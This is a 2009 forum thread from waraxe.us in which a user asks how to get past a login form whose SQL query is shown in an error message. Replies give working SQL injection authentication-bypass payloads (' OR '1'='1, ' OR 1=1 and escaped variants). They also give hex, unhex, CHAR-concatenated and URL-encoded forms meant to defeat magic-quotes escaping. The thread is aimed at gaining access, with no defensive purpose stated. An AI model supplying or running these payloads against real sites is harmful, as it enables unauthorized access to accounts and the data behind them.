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www.waraxe.us Forum Index -> Sql injection -> Please help with this
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Please help with this
PostPosted: Thu Aug 13, 2009 10:24 am Reply with quote
shyspy
Advanced user
Advanced user
Joined: Jun 08, 2009
Posts: 60




I am getting this error.

Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y'
Connection is Resource id #4

anyway to get access?
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Re: Please help with this
PostPosted: Fri Aug 14, 2009 12:23 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




shyspy wrote:
I am getting this error.

Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y'
Connection is Resource id #4

anyway to get access?


Well what you want to have is:

USER_INFO_PASSWORD = '' OR '1'='1'

I'm guessing your currently trying:
\'' OR \''1\''=\''1

Try these:
' OR '1'='1

' OR 1=1

\'' OR '\'1\''='\'1\'

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PostPosted: Fri Aug 14, 2009 5:28 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Odds are that this ^^ isn't going to work if magic quotes is enabled. basically you have a couple things to try otherwise you're out of luck. Also, you are using the incorrect number of quotes, so even if the server wasn't adding slashes you'd still get a formatting error.

Go the top of this page and to the SQL char encoder. Type whatever you like in there, in your case ' OR ''=' and try to use the results as such:
Code:
page.php?param=0x27204f522027273d27
page.php?param=unhex(27204f522027273d27)
page.php?param=CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(39),CHAR(61),CHAR(39))
page.php?param=%27%20OR%20%27%27%3D%27
If none of these work you are probably out of luck and should for an exploit elsewhere.
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Please help with this
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